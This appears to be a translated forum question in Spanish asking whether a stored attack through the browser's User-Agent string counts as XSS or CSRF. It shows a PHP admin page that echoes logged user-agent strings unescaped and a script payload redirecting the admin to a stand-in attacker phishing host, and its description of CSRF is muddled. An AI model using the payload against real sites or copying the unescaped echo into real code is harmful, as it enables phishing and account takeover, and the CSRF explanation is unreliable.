He leído varios libros de seguridad de PHP, pero después de leer uno me confundí acerca de la definición de CSRF (falsificación de solicitud entre sitios). Wikipedia lo explica así:
A diferencia de los scripts entre sitios (XSS), que aprovechan la confianza que un usuario tiene para un sitio en particular, CSRF explota la confianza que un sitio tiene en un navegador del usuario.
Normalmente, esta vulnerabilidad se refiere al envío de dos solicitudes, una para obtener un token y otra para obtener un token para restablecer, por ejemplo, una cuenta de administrador. Por ejemplo, explotar la vulnerabilidad en la que un sitio web genera tokens de entropía débil mediante el uso de, por ejemplo, mt_srand()
. Derecho?
Pero, ¿qué sucede si un sitio web registra qué navegador está utilizando al recopilar su cadena de usuario? P.ej: AdminPanel.php:
<?php
$browser = $_SERVER['HTTP_USER_AGENT'];
addToLog($browser);
$logs = getAllLogs();
echo $logs;
?>
Normalmente esto regresaría:
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Pero podría editar mi cadena de agente de usuario en Firefox:
+----------------------------+----------+--------+-----------------------------------------------------------------------------------------------------+
| general.useragent.override | user set | string | <script>window.location.replace('http://myHackerServer.com/fakeAdminPageForPhishing.php');</script> |
+----------------------------+----------+--------+-----------------------------------------------------------------------------------------------------+
De esta manera, el código Javascript se ejecutaría en el panel de administración. De esta manera, puede explotar el XSS cuando el administrador registra las cadenas de usuarios y luego lo comprueba.
¿Pero es este XSS o CSRF? Quiero decir, el sitio web confía en que el navegador del usuario contenga valores válidos. Como dice la Wikipedia. No es necesario confiar en 'entrada de usuario' como en XSS. Me confundí con lo que es CSRF, he visto muchas definiciones diferentes.
Gracias.